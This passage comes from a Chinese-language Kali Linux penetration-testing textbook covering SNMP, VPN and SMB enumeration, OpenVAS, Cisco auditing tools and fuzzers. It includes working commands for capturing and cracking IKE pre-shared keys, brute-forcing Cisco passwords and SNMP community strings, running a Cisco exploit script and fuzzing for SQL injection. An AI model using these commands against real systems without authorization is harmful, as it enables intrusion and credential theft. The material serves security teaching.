本节将介绍检查SNMP(Simple Network Monitoring Protocol)协议的几款工具。虽然多数SNMP信息看上去并不那么重要,但是对于渗透测试人员来说,他们可以从配置不当的SNMP设备上获取配置文件,挖掘重要信息,甚至可能有权限修改它的配置文件。

建议您在渗透测试的工作中检查SNMP设备,可能会遇到的惊喜。

6.4.1 onesixtyone

onesixtyone 程序是 SNMP 扫描程序,它可扫描指定设备,确定它们是否支持某些特定SNMP字符串。它与其他SNMP扫描程序不同,可以以最快速度(间隔10毫秒)发送所有的SNMP请求,然后等待目标响应并将之记录。如果某台设备支持SNMP协议,这个设备就会以包含SNMP字符串的信息进行响应。

如需启动onesixtyone程序,可在终端中直接输入onesixtyone。

默认安装的Metasploitable 2并没有SNMP 服务端程序。如果这台主机联入网络,您可使用下述命令安装SNMP服务端程序。

apt-get install snmpd

然后修改它的配置文件/etc/default/snmpd。

sudo vi /etc/default/snmpd

找到含有SNMPDOPTIONS的那行,删除掉本机地址127.0.0.1,然后重启SNMPD服务。

sudo /etc/init.d/snmpd restart

要注意的是,这台Metaslpoitable 2的主机应当与互联网隔绝开来,否则很快将招致攻击。

而后,我们使用onesixtyone程序搜索192.168.56.103这台主机支持的SNMP字符串。此时我们需要使用下述指令。

onesixtyone 192.168.56.103

上述指令的扫描结果如下。

Scanning 1 hosts, 2 communities

192.168.56.103 [public] Linux metasploitable 2.6.24-16-server #1 SMP

Thu Apr 10 13:58:00 UTC 2008 i686

192.168.56.103 [private] Linux metasploitable 2.6.24-16-server #1 SMP

Thu Apr 10 13:58:00 UTC 2008 i686

可见这台主机支持public和private的SNMP字符串。

如果需要进行更细致的扫描,可以启用-d选项。

onesixtyone -d 192.168.56.103

上述指令的返回结果如下。

Debug level 1

Target ip read from command line: 192.168.56.103

2 communities: public private

Waiting for 10 milliseconds between packets

Scanning 1 hosts, 2 communities

Trying community public

192.168.56.103 [public] Linux metasploitable 2.6.24-16-server #1 SMP

Thu Apr 10 13:58:00 UTC 2008 i686

Trying community private

192.168.56.103 [private] Linux metasploitable 2.6.24-16-server #1 SMP

Thu Apr 10 13:58:00 UTC 2008 i686

All packets sent, waiting for responses.

done.

6.4.2 snmpcheck

如需使用snmpcheck程序搜集SNMP设备的有关信息,可使用下述指令。

snmpcheck -t 192.168.56.103

上述指令获取的SNMP信息如图6.12所示。

figure_0179_0086

图6.12

6.5 VPN枚举

在本节中,我们将讨论虚拟专用网络(VPN)系统的识别和扫描。

数年之前,当分支机构需要与总部实现内部通信时,需要在二者之间架设专用线路。这种方法的主要缺点是成本髙昴。专线的租用费用非常昂贵。

所幸的是,VPN 技术解决了这种问题。分支机构可以使用公共网络(Internet)通过VPN连接联入总部。相对于租用专线而言,公共网络Internet的联入费用要低很多。同时,VPN能够使分支机构像使用本地局域网(LAN)一样使用总部的应用。另外,VPN 采取了加密技术,可保护通信内容的私密性。

根据其所采用的技术方法,VPN至少可以分为以下三种。

● 基于IPSec 技术的VPN:分支机构联入总部局域网的VPN 解决方案,多数是这类方案。采用这种方案后,分支机构需要在网关上安装IPSec VPN客户端,总部网关上也要安装 IPSec VPN服务器。由于配置过程十分复杂,单个用户联入总部网络的方案通常不是这种方案。采用这种方法连接入单位局域网的用户,通常被叫做公路战士(road warrior)。

● OpenVPN:这是一种公路战士十分偏爱的 VPN 解决方案。采用 OpenVPN 方案的客户端电脑通过OpenVPN客户端连接到VPN的服务器。这种方案设置简单,而且不要求用户具有管理员级别的权限。

● 基于SSL 技术的VPN:这种方案不要求用户安装专用的VPN 客户端。只要客户端电脑装有支持SSL连接技术的Web浏览器,VPN用户就可以通过浏览器连接到VPN服务器。

ike-scan

ike-scan是探测、识别并测试IPSecVPN系统的安全工具。IPSec是特别常见的Lan-to-Lan连接技术,同时也是多数VPN方案所采用的远程访问技术。

IPSec采用了下述三种主要协议。

● Authentication Headers(AH):提供了数据的完整性。

● Encapsulating Security Payloads(ESP):保障数据的完整性和保密性。

● Internet Key Exchange(IKE):通信终端之间进行参数协商的通信协议。它用于安全关联(Security Association)的建立、维持和终止。

IKE建立安全关联时分为下述几个阶段。

● IKE phase 1:在两个IPSec 终端间协商参数,协商加密算法、完整性算法、认证类型、密钥分发机制、生命周期等,以建立安全的通信隧道。IKE phase 1 会采用main mode 或aggressive mode建立双向安全关联。main mode 通过3 对消息协商安全关联。相比之下,aggressive mode通过3 对消息的交换,却能提供更快的安全关联。

● IKE phase 2:用于数据保护。

● IKE phase 1.5 或extended authentication phase:这个阶段是可选阶段,通常出现在远程访问的VPN方案里。

ike-scan程序向VPN服务器发送IKE phase 1的数据包,然后分析目标主机的响应数据。

ike-scan程序具备下述几个特点。

● 能够向任意数量目标主机发送IKE 数据包。

● 能够以灵活的方式组建IKE 的探测数据包。

● 能够解码并显示所有的服务器响应数据包。

● 能够配合psk-crack 工具破解预共享密钥。

总而言之,ike-scan程序具有下述作用。

● 探测:通过显示响应IKE 请求的主机,搜索运行IKE 的主机。

● 识别:识别IPSec VPN服务器采用的IKE 实现手段。通常,响应信息包含VPN 服务器厂商和型号。这在接下来漏洞分析过程中是十分有用的。

通常来说,只有ike-scan 这类工具才能找到IPSec VPN服务器。因为IPSec 服务端程序并不监听TCP 端口,所以端口扫描程序不能探测IPSec VPN服务器。而且这种服务器并不会回复ICMP unreachable 的错误信息,所以UDP 扫描程序也无法搜索到IPSec VPN服务器。另外,无论是向UDP 500 端口发送随机数据,还是向50 号或51 号IP 协议发送随机数据,这类服务器并不进行任何响应。也就是说,如果要搜索 IPSec VPN 服务,就只能使用发送合法IKE数据包的检测程序,分析服务器的有关响应。

如需在终端中启动ike-scan程序,可使用下述指令。

ike-scan

该命令将在屏幕上显示指令说明和使用范例。本例将通过下述指令,探测、识别、测试一台IPSec VPN服务器。

ike-scan -M -A –Pike-hashkey 192.168.0.10

其中,各选项的作用分别如下。

● -M:将payload 的解码信息分为多行显示,以便于阅读。

● -A:使用IKE 的aggressive mode。

● -P:将aggressive mode 的预共享密钥的哈希值保存为文件。

上述指令的运行结果如图6.13所示。

figure_0182_0087

图6.13

其中,在SA(安全关联)payload中有意义的信息如下。

● Encryption:3DES。

● Hash:SHA1。

● Auth:PSK。

● Diffie-Hellman group:2。

● SA life time:28800 seconds。

该指令将预共享密钥的哈希值被保存为ike-hashkey文件。

之后,我们使用psk-crack程序破解VPN连接的哈希值。有关指令如下。

psk-crack –d rockyou.txt ike-hashkey

此处,-d选项用于指定字典文件。

上述指令的运行结果如图6.14所示。

figure_0183_0088

图6.14

上述信息表明,密钥是123456。您可以使用这个密钥连接到VPN服务器。

下一步任务是识别VPN服务器。这时要不断尝试各种转换(transform)参数,直到找到可接受的参数为止。

有关转换参数的详细介绍,请参见http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide#Trying_Different_Transforms。

参考前文的安全关联payload信息,我们使用下述指令进行识别。

ike-scan -M --trans=5,2,1,2 --showbackoff 192.168.0.10

上述指令的运行结果如图6.15所示。

figure_0183_0089

图6.15

可见,ike-scan程序猜测远程VPN服务器所用的版本可能是FreeS/WAN、OpenSwan或strongSwan。

6.6 本章总结

本章讨论服务枚举的方法和用途。这部分内容还介绍了以端口扫描的方式进行服务枚举的具体方法。您相继接触到了不同类型的端口扫描,以及几款常用的扫描工具,例如Nmap、Unicornscan和Amap。接下来,介绍了nbtscan进行SMB服务枚举的方法,和onesixtyone和snmpcheck程序进行SNMP枚举的方法。最后绍了VPN枚举和相应的扫描工具ike-scan。

在下一章中,我们将关注如何在目标环境中识别并分析安全漏洞。

第7章 漏洞映射

漏洞映射旨在识别和分析目标环境中的决定性安全缺陷,有时也称为脆弱性评估。它是一种在IT基础设施的安全控制中探寻已知弱点的分析方法,是脆弱性管理计划的一个关键组成部分。测试人员在完成了信息收集、目标识别和服务枚举的相关工作后,就可着手分析目标设施中可能存在的安全漏洞。安全漏洞可能导致目标系统发生安全事故,有害于业务系统的保密性、完整性和可用性。

本章将要讨论安全漏洞的两种常见类型,阐述安全漏洞的各种分类标准,还会介绍Kali Linux系统提供的几款著名的脆弱性分析工具。这部分章节涵盖以下几个主题。

● 漏洞的两种常见类型:本地漏洞和远程漏洞。

● 漏洞分类的行业标准和分类的依据。

● 几款有助于査找并分析目标环境中存在的安全缺陷的安全工具。本章依据这些工具在安仝评估中的主要功能对它们进行了分类,把它们分为 OpenVAS 工具、Cisco 分析工具、模糊分析工具、SMB分析工具、SNMP分析工具和Web应用程序分析工具。

值得注意的是,在进行渗透测试(包括内部和外部)时,人工评估和自动化脆弱性分析都很等重要。完全依赖自动化测试工具获得的评估结果,可能会有假阳性(误报)和假阴性(漏报)的情况。同时,审计人员对技术评估工具的熟悉程度同样影响着渗透测试工作的质量。要保障渗透工作的长期质量,要在注重评估工具质量的同时,不断提高审计人员的技能水平。本质上说,自动化工具生成的脆弱性分析结果不可能是最终的评估结果;自动化工具不能识别逻辑错误、未发现的漏洞、未公布的软件缺陷,以及影响安全的人类因素。因此,应当同时结合自动化分析和人工分析的方法,综合评估安全漏洞,这将大幅度提升渗透测试工作的成功概率。

7.1 漏洞的类型

按照产生缺陷的不同阶段,漏洞可划分为以下三个大类:设计类、实施类和运营类。

● 设计类漏洞:在软件设计阶段,因软件规格指标设计不当而产生的安全弱点。

● 实施类漏洞:位于系统代码中的技术安全缺陷。

● 运营类漏洞:由于系统的配置或部署不当而导致的安全漏洞。

基于对这三个类别的分析,我们总结出了漏洞的两个通用类型,即本地漏洞和远程漏洞。上述三类类漏洞既可以是本地漏洞,也可以是远程漏洞。

在上述三类漏洞之中,哪种漏洞问题最难解决?

开发人员根据安全性需求指定系统安全规格,并依此在实施过程中实现各种安全指标。因此,解决设计类漏洞的时间最长。

7.1.1 本地漏洞

攻击人员以本地(物理)访问方式,通过执行代码的手段才能触发的漏洞称为“本地漏洞”。攻击人员能够利用这种类型的漏洞提高自身的访问权限,不受限制地访问该计算机系统。

例如,Bob拥有访问MS Windows Server 2008(32 位x86 平台)服务器的本地权限。管理员通过某种安全策略限制了他的访问权限,禁止他运行特定的应用程序。在极端条件下,他发现恶意代码可让他获取该计算机的系统级别或内核级别权限。利用了著名的安全漏洞(例如,CVE-2013-0232、GP Trap Handler nt!KiTrap0D)之后,他提升了自己的权限等级,并能够进行管理级别的操作,可不受限制地执行应用程序。这个范例表明,恶意的安全对手可通过本地漏洞轻易地提升他们访问计算机系统的权限。

有关微软Windows权限提升漏洞CVE-2013-0232的详细资料,请参见http://www.exploit-db.com/exploits/11199/。

7.1.2 远程漏洞

在物理上不接触主机的情况下,攻击人员使用恶意程序通过网络触发的系统漏洞,称作远程漏洞。这种类型的漏洞可使得攻击人员越过物理上的和本地上的限制,获取远程主机的访问权限。

例如,Bob和Alice分别联入互联网。他们的IP地址不同,分属不同的国家。假设Alice的电脑运行的操作系统是Windows XP,使用了生物学认证技术。再假如Bob 事先知道Alice主机的操作系统和IP地址。Bob极力想获取Alice电脑的远程控制权限。同时,他了解到可通过MS08-67 漏洞(Windows Server Service 的漏洞)远程攻击Windows XP 主机。

有关MS08-67,即微软Windows Server Service漏洞的详细信息,请参见http://www.exploit-db.com/exploits/6841/。

他使用了有关exploit程序获取了Alice主机的访问权限。

漏洞(vulnerability)和漏洞利用程序(exploit)的关系是什么?

漏洞是系统上存在的安全弱点。共计人员可利用有关漏洞或bug获取该主机的未经授权的操作权限。

7.2 漏洞的分类

随着近些年来技术领域的持续发展,人们也在不断总结安全漏洞的各种分类方法,期待以最合理的方式划分所有的常见漏洞。但是,就常见的影响系统安全的编程问题来说,还没有一种分类方法可以将之完全归纳。实际上,单一的漏洞可能分别属于多个类别或类型,这是现今分类方法都解决不了的问题。另外,每种系统平台都需要与外部环境进行交互,这又带来分类方法的关联性问题、复杂性问题和扩展性问题。如下列表格所示,本书列举了多种分类标准,希望有助您识别各种安全故障。值得一提的是,很多调查软件安全性问题的安全评估工具,已经采取了这些漏洞分类方法。

figure_0187_0090

上述各种分类方法,分别以各自的方式将安全漏洞进行分类,以帮助信息安全有关人员和研发人员识别那些可能会影响系统安全性的特定错误。因此,这些分类方法并不具备学术上的完备性和精确性。

7.3 OpenVAS

OpenVAS是一款封装了多种安全工具和安全服务的软件,是一个强大的漏洞管理平台。它采用了客户端/服务器的框架。其客户端测试目标主机网络漏洞的一系列操作,都是通过服务器端程序实现的。它的设计兼备模块化和稳定性的特点,支持并行安全测试,且兼容多种操作系统(Linux/Win32)。OpenVAS的核心组件和主要功能如下。

● OpenVAS scanner(扫描器):负责管理、执行各种网络漏洞测试(NVT,Network Vulnerability Test)。NVT的订阅服务提供每日更新。整个平台可通过订阅服务更新测试插件(参见http://www.openvas.org/nvt-feeds.html)。

● OpenVAS Client(客户端):即传统形式的桌面客工具和命令行工具(CLI)。它通过OTP协议(OpenVAS Transfer Protocol)控制扫描器。OTP相当于OpenVAS scanner的前段通信协议。

● OpenVAS Manager(管理程序):漏洞扫描平台的中央控制服务。管理程序仅负责集中存储配置文件和存储扫描结果。此外,它的OMP 协议(OpenVAS Management Protocol)完全基于 XML,可用于各种用途。OMP 可用于设置扫描计划、生成测试报告、筛选扫描结果和聚合活动。

● Greenbone Security Assistant(安全助手):工作于OMP 的Web 服务。它用于向用户提供一种基于OMP的Web客户端,方便用户配置、管理、控制具体的扫描操作。它的桌面版客户端程序叫做GSA Desktop,功能完全一样。此外,OpenVAS CLI(命令行工具)还支持在文本命令行下运行OMP协议的指令。

● OpenVAS administrator:负责用户管理和订阅更新。

OpenVAS使用的工具

OpenVAS集成的工具清单如下。

figure_0188_0091

续表

figure_0189_0092

设置OpenVAS的关键步骤如下。

1. 在桌面菜单中依此选中 Kali Linux | Vulnerability Analysis | OpenVAS | Openvas check setup,并按照程序的向导进行操作,以确定本机已经正确安装了 OpenVAS程序。然后按照提示,用默认的选项设置证书等项目;仅建议您在完全理解这些工具的情况下进行自定义设置。在您完成了每个FIX(修复)操作之后,您需要重新运行一次openvas check setup,直到它提示您已经成功配置好了这个程序。如图7.1所示,您同样可以在命令行窗口里启动这个程序。

2. 在桌面菜单中依此选中Kali Linux | Vulnerability Analysis | OpenVAS | Openvas check setup,创建一个OpenVAS 扫描所需的用户账号。在程序询问Authentication(pass/cert)时直接用回车键跳过该设置。在创建账号的最后一步,程序会要您为新建账号创建规则。如果您不需要设置特定规则,可使用Ctrl+D键直接退出。如果您要进行相应设置,可通过下述指令查看有关设置的帮助文件。

# man openvas-adduser

3. 在主机联入互联网的情况下,通过NVT的订阅服务更新OpenVAS的插件,即在桌面菜单中依次选中Kali Linux |VulnerabilityAssessment | OpenVAS | OpenVas NVTSync。

4. 接下来就需要启动 OpenVAS 的服务端程序,以使客户端程序能够进行操作。在桌面菜单中依次选中Kali Linux | Vulnerability Assessment | OpenVAS | OpenVas Server,并等待程序加载完毕。

figure_0190_0093

图7.1

5. 最后,可启动OpenVAS客户端程序。在桌面菜单里,桌面菜单中依次选中Kali Linux | Vulnerability Assessment | OpenVAS | OpenVas Client。在客户端界面窗口出现之后,选择File|Connect连接到OpenVAS Server,然后输入在第1步和第2步里设置的账号信息。

如图7.2 所示,在客户端程序中输入登录信息,以连接到OpenVAS Server。

接下来要设置的参数是目标主机、选择合适的插件、提供登录所需的凭据,并指定必要的访问规则(如第2步所述)。设置好全局设置之后,在菜单中选中File | Scan Assistant,并输入4个主要步骤(任务、范围、目标以及执行)的详细佶息。在测试目标系统之前,系统将提示指定登录凭证,随后程序会进行测试工作。您选择的评估标准,决定了漏洞评估的时间长度。在完成评估的以后,程序会显示本次任务的评估报告(见图7.3)。

本例中,扫描任务的名称是CustomerUK。在程序窗口顶部的菜单里,选择Report | Export导出扫描报告,此时可以选择适合的报告格式(如NBE、XML、HTML、LaTex、TXT或PDF)。OpenVAS是一个功能强大的漏洞评估软件,它不仅能够在评估目标系统的决定性安全问题,而且还能生成内容全面的扫描报告。它的报告含有风险计量、漏洞细节、解决方案和相关网上资源等信息。

figure_0191_0094

图7.2

figure_0191_0095

图7.3

7.4 Cisco分析工具

Cisco 公司是顶级网络设备商之一,目前大多公司和政府机构都采用了他们的设备。对于Cisco品牌的设备来说,它们比其他品牌的设备面临着更多的着攻击和威胁;而对于攻击人员来说,发掘这个品牌设备上的漏洞也比挖掘其他品牌设备的漏洞更为困难。Cisco品牌的硬件有路由器、交换机、安全设备、无线产品,软件产品如IOS、NX-OS、安全设备管理器、CiscoWorks、统一通信管理器等。可以说,在广受好评的技术产品中,有不少是Cisco 品牌的产品。在本节中,我们将演示Kali Linux 中提供的针对Cisco 产品的安全测试工具。

7.4.1 Cisco Auditing Tool

Cisco Auditing Tool 简称CAT,属于小型的安全审计工具。它可检测出Cisco 路由器上的常见漏洞,能够发现注入默认密码、默认SNMP字符串和老版本IOS上存在的bug问题。

如需启动CAT,可在菜单里依次选中Kali Linux | Vulnerability Analysis | Cisco Tools |cisco–auditing-tool。启动终端窗口之后,您将看到扫描目标主机可用的所有选项。如果您打算继续使用终端窗口,可执行下述指令。

# cd /usr/share/

# CAT ––help

上述指令将显示程序的全部选项、相关选项的使用说明和功能描述。它扫描Cisco设备的选项有以下几个。

● -h:指定主机名(在扫描单个主机的时候使用该选项)。

● -w:指定字典文件(以猜测团体字符串)。

● -a:指定密码列表(以穷举密码)。

● -i:及[ioshist](检查该IOS 在历史上出现过的bug)。

将这些选项组合将使用,可以暴力破解方式探测Cisco设备的密码、团体字符串和可能会再现的旧有IOS bug。在破解密码之前,要更新路径/pentest/cisco/cisco-auditingtool/lists 下的密码列表和社区字符串,以提髙破解成功的概率。而后,我们可在 Kali Linux的终端之中,使用下述指令进行扫描。

# CAT -h ww.xx.yy.zz -w lists/community -a lists/passwords -i

Cisco Auditing Tool - g0ne [null0]

Checking Host: ww.xx.yy.zz

Guessing passwords:

Invalid Password: diamond

Invalid Password: cmaker

Invalid Password: changeme

Invalid Password: cisco

Invalid Password: admin

Invalid Password: default

Invalid Password: Cisco

Invalid Password: ciscos

Invalid Password: cisco1

Invalid Password: router

Invalid Password: router1

Invalid Password: _Cisco

Invalid Password: blender

Password Found: pixadmin

...

Guessing Community Names:

Invalid Community Name: public

Invalid Community Name: private

Community Name Found: cisco

...

如需编辑密码字典和团体字符串字典,可在执行上述命令之前,在终端窗口中使用Vim 编辑器编辑字典文件。Vim编辑器的详细介绍,可通过下述指令进行查看。

# man vim

Cisco设备有16种不同的权限级别,权限级别的代码从0(限制最严格的级别)到15(限制最少的级别)。在设置Cisco设备账户的时候,每个账户都应设置相应的权限等级。如需更详细的介绍,请参见http://www.cisco.com/en/US/docs/ios/12_2t/12_2t13/feature/guide/ftprienh.html。

7.4.2 Cisco Global Exploiter

Cisco Global Exploiter(CGE)是小型的Perl 脚本程序。它可测试Cisco 设备的14 种独立的漏洞。请注意只有特定类型的Cisco设备才会存在这些漏洞,所以这个程序不能完全满足Cisco安全评估的全部需要。篇幅所限,本书不会逐个讲解每个漏洞的具体信息。

如需启动CGE,可在菜单里依次选中Kali Linux | Vulnerability Analysis | Cisco Tools |cisco-global-exploiter,或在终端窗口中执行下述指令。

# cd /usr/bin/

# cge.pl

上述指令将显示程序的使用说明,并会按照顺序列出它能识别的14种漏洞。例如,在测试Cisco 878 集成服务路由器时,我们可以使用下述指令。

# cge.pl 10.200.213.25 3

Vulnerability successful exploited with [http://10.200.213.25/level/17/exec/... ] ...

上述指令进行的是第3类测试——测试Cisco IOS HTTPAuth漏洞,而且程序成功地利用了某个漏洞。进行深入调查之后,您会发现其他类型的Cisco设备同样存在这种漏洞,而且您可以使用相似的手段利用这些漏洞。利用漏洞的过程如图7.4所示。

figure_0194_0096

图7.4

有关这个漏洞的详细信息,请参见http://www.cisco.com/warp/public/707/cisco-sa-20010627-ios-http-level.shtml。

可见,这种基于 HTTP 的强行访问漏洞可让入侵人员执行路由器指令,而且并不验证他们的身份。

7.5 Fuzz(模糊)分析工具

模糊分析是一种软件测试技术。审计人员和开发人员采用模糊分析技术,测试意外数据、无效数据和随机的数据输入对应用程序的影响。人们关注应用程序在模糊测试中出现的异常状态和崩溃问题。这种测试技术可深度揭露软件所隐含的其他测试手段不可能挖掘出来的漏洞。它能发现的漏洞有缓冲区溢出、格式化字符串、代码注入、迷途指针、竞争条件、拒绝服务条件和许多其他类型的漏洞。

Kali Linux 带有多种模糊测试工具。这些工具可以测试文件格式、网络协议、命令行输入、环境变量和Web应用。不可信的数据输入源都会输入不安全的和不一致的数据。例如, Web 应用程序和互联网用户之间的信任边界不可预知。既然如此,就应当对所有可能的数据输入都进行尝试(模糊测试),以验证巳知和未知的漏洞。模糊分析是一种相对简单有效的测试方法,可用于质量保证和安全测试。由于这个原因,它有时也被称为健壮性测试(robustness testing)或否定测试(negative testing)。

模糊分析的关键步骤是什么?

通常认为,模糊测试由6 个步骤组成。这些步骤分别是识别目标、识别输入、生成模糊测试数据、执行模糊数据、监控输出和鉴别问题的可利用性(是否是exploit)。有关细节,请参见Fuzzing:Brute Force Vulnerability Discovery的ppt文件。该文件可在下述网址下载:http://recon.cx/en/f/msutton-fuzzing.ppt。

7.5.1 BED

Bruteforce Exploit Detector(BED)是纯文本协议的模糊测试工具,用于检测软件常见漏洞。它可以检测出缓冲区溢出漏洞、格式化字符串漏洞、整数溢出、DoS条件等漏洞。BED 程序可以根据指定的协议,自动发送含有问题字符串的命令组合,以测试目标的处理方式。它目前支持的协议包括ftp、smtp、pop、http、irc、imap、pjl、lpd、finger、socks4和socks5。

如需启动BED 程序,可在菜单中依次选中Kali Linux | Vulnerability Analysis | Fuzzing Tools | bed,或者在shell 中使用下述指令。

# cd /usr/share/bed/

# bed.pl

上述指令将显示它的使用说明。如需查看某个协议的插件的详细说明,可使用下述指令。

# bed –s FTP

该指令将介绍 FTP 插件的参数。在进行测试之前,我们通过该指令了解到这个插件需要-u用户名和-v密码这两个参数。接下来,我们利用BED测试目标系统的FTP守护进程。

# bed -s FTP -u ftpuser -v ftpuser -t 192.168.0.7 -p 21 -o 3

BED 0.5 by mjm( www.codito.de ) & eric ( www.snake-basket.de)

+ Buffer overflow testing:

testing: 1  USER XAXAX ...........

testing: 2  USER ftpuserPASS XAXAX ...........

+ Formatstring testing:

testing: 1  USER XAXAX .......

testing: 2  USER ftpuserPASS XAXAX .......

* Normal tests

+ Buffer overflow testing:

testing: 1 ACCT XAXAX  ...........

testing: 2 APPE XAXAX  ...........

testing: 3 ALLO XAXAX  ...........

testing: 4 CWD XAXAX  ...........

testing: 5 CEL XAXAX  ...........

testing: 6 DELE XAXAX  ...........

testing: 7 HELP XAXAX  ...........

testing: 8 MDTM XAXAX  ...........

testing: 9 MLST XAXAX  ...........

testing: 10 MODE XAXAX  ...........

testing: 11 MKD XAXAX  ...........

testing: 12 MKD XAXAXCWD XAXAX ...........

testing: 13 MKD XAXAXDELE XAXAX ...........

testing: 14 MKD XAXAXRMD XAXAX .....connection

attempt failed: No route to host

上述信息表明,FTP守护程序在第14项测试的时候中断了连接。这可能是个潜在的缓冲区溢出问题。但是我们还需要调查特定测试模块,检查测试指令(参考文件/pentest/fuzzers/bed/bedmod/ftp.pm),以进行进一步调查。将目标程序恢复到正常状态再进行两次重复试验、增加BED的超时时间(-o),都是确认问题可重复出现的良好习惯。

7.5.2 JBroFuzz

JBroFuzz是对Web应用程序进行模糊测试的著名平台。它可模拟HTTP协议和HTTPS协议的Web请求。获悉要测试的域名和测试的URL部分之后,审计人员可以自己手工构造测试的请求,也可以使用程序预定义的payload数据库,生成基于已知漏洞的恶意请求,再把这些请求发送到目标服务器以进行模糊测试。JbroFuzz 的数据库能够帮助审计人员进行XSS、SQL 注入、缓冲区溢出、格式字符串错误等问题的自动化测试。而后,程序会记录目标的相应回复,以供进一步检査。基于执行测试的类型,审计人员应当手动调查服务器的响应或结果,以便识别出任何可能存在的漏洞。

JBroFuzz的关键功能包括模糊管理、payload的分类处理、通过浏览器的代理服务器嗅探 Web 请求和回复、枚举网站目录等。这些功能都是应用协议模糊测试不可或缺的组成部分。

如需启动JBroFuzz程序,可在终端中使用下述指令。

# cd /usr/share/zaproxy/lib/jbrofuzz/

# java -jar JBroFuzz.jar

JBroFuzz 界面之中有大量的选项设置,这些选项都有详细的描述和说明。如果您需要查看帮助,可在菜单栏中选择Help | Topics,进入图7.5 所示的界面。

接下来,我们通过下述步骤测试一个Web应用程序。

1. 设定目标域的URL为http://testasp.targetdomain.com。这是一个基于ASP的Web应用程序。为满足测试需求的实际需要,我们还要在Request面板中将HTTP请求调整为如下所示。

figure_0198_0097

图7.5

GET /showthread.asp?id=4 HTTP/1.0

Host: testasp.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB;

rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

Accept: text/html,application/xhtml+xml,application/

xml;q=0.9,*/*;q=0.8

Accept-Language: en-gb,en;q=0.5

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

2. 在构造测试请求数据之前,我们已经知道这台服务器上存在一个 URL:http://testasp.example.com/showthread.asp?id=4。

3. 创建一个手工构造的测试请求,并选择URL的一部分(id=4)进行SQL注入的测试。

4. 选中第一行里的数字值4,然后点击顶部菜单条里的加号(+)按钮。

5. 在新弹出的窗口里,选择SQL Injection分类,并设置模糊测试的名称为SQL Injection,然后点击Add Fuzzer按钮。

6. 设置好模糊测试任务之后,主程序窗口的右侧边角的Added Payloads Table标签里,将会显示这个测试任务。

如果您的操作完全遵循上述步骤,那么您现在就可以对目标主机的Web应用程序进行SQL注入漏洞的模糊测试。

可通过菜单Panel|Start或快捷键Ctrl+Enter启动测试任务。在程序处理测试请求的时候,您将在Request面板里看到程序发送的请求。另外,如果要观察每个HTTP/HTTPS的处理进度,可点击On The Wire 标签查看。在它完成模糊测试之后,可调查每个测试请求的响应结果。可在Output 窗口中使用鼠标右键点击特定的服务器响应,然后选择Open in Browser选项。目标对我们发送的测试请求返回了下述信息,它很可能是SQL注入漏洞的现象。

HTTP/1.1 500 Internal Server Error Connection:close Date: Sat, 04

Sep 2013 21:59:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By:

ASP.NET Content-Length: 302 Content-Type: text/html Set-Cookie: ASPS ESSIONIDQADTCRCB=KBLKHENAJBNNKIOKKAJJFCDI;

path=/ Cache-control: private

Microsoft SQL Native Client error '80040e14'

Unclosed quotation mark after the character string ''.

/showthread.asp, line 9

在Windows系统中安装Metasploit时,应该禁用防病毒软件,因为有些安装文件会被其检测为潜在的病毒或威胁,从而阻塞安装过程。有关这个程序的详细信息,请参见 http://wiki191.owasp.org/index.php/Category:OWASP_JbroFuzz。

7.6 SMB分析工具

Server Message Block(SMB)是应用层协议,通常用于文件和打印机共享服务。此外,它还可将网络中不同节点的串口服务和其他通信协议共享。SMB 又称为 CIFS(Common Internet File System)。

SMB采用了单纯的客户端/服务器的CS架构,而且兼容Linux和Windows等多种平台。NetBIOS(Network BasicInput Output System)是SMB 协议的组成部分,用于Windows系统的传输服务。NetBIOS 工作于 TCP/IP 协议(NBT),因此同一局域网内的每台电脑都可通过唯一的网络名称和IP地址与另一台电脑进行通信。

此外,对于DEC/RPC服务程序实现的网络节点间IPC(跨进程通信)而言,其认证通道同样使用SMB协议。也就是说,不同电脑、不同进程间都可通过SMB的认证通道进行数据交换。NetBIOS服务通常在不同的TCP端口和UDP端口(135、137、138、139、445)上提供不同的服务。因为SMB功能强大而防护能力脆弱,所以它是黑客的首要攻击目标。人们曾经曝光了SMB协议的大量漏洞,这些漏洞都为入侵者敞开了方便之门。本节将介绍获取SMB信息的多个工具,它们可获取主机名、运行服务、域控制器、MAC地址、操作系统类型、当前登录用户、隐藏共享、时间信息、用户群组、当前会话、打印机、可用磁盘等信息。

如需了解SMB、NetBIOS和相关协议的详细信息,请参见http://timothydevans.me.uk/nbf2cifs/book1.html。

ImpacketSamrdump

Samrdump 是获取主机敏感信息的工具。它通过 DCE/RPC(Distributed Computing Environment/Remote Procedure Call)服务调用 SAM(安全账户管理器,Security Account Manager)的远程接口,继而获取信息。它可列举同一局域网内的目标主机上的所有的系统共享、用户账户和其他信息。

如需启动ImpacketSamrdump,可在shell中执行下述指令。

# cd /usr/share/doc/python-impacket-doc/examples/samrdump.py

# python samrdump.py

上述指令将显示它的使用说明和必要的语法简介。简单的说,python samrdump.py user:pass@ip port/SMB这样的指令就可对指定目标的指定端口(139或445)进行检测。

# python samrdump.py h4x:123@192.168.0.7 445/SMB

Retrieving endpoint list from 192.168.0.7

Trying protocol 445/SMB...

Found domain(s):

. CUSTDESK

. Builtin

Looking up users in domain CUSTDESK

Found user: Administrator, uid = 500

Found user: ASPNET, uid = 1005

Found user: Guest, uid = 501

Found user: h4x, uid = 1010

Found user: HelpAssistant, uid = 1000

Found user: IUSR_MODESK, uid = 1004

Found user: IWAM_MODESK, uid = 1009

Found user: MoDesktop, uid = 1003

Found user: SUPPORT_388945a0, uid = 1002

Administrator (500)/Enabled: true

...

上述指令列出了远程主机上的全部用户名。在Samrdump的指令之中,目标主机的用户名和密码并不是必选项;在指定用户名和密码时,该指令将能返回其他方式获取不到的更多信息。利用上述信息,我们可检查在共享文件中搜索敏感数据,访问其他用户,进而揭示更有价值的信息。

7.7 SNMP分析工具

SNMP(Simple Network Management Protocol)是一个运行于UDP 协议161 端口的应用层协议。SNMP 协议主要用于网络设备运行状态的监控,以关注需要管理员干预的事件,及时了解诸如电源断电、网络不可达等网络运行情况。采用了SNMP管理技术的网络结构,通常由网络设备、管理端和代理端组成。

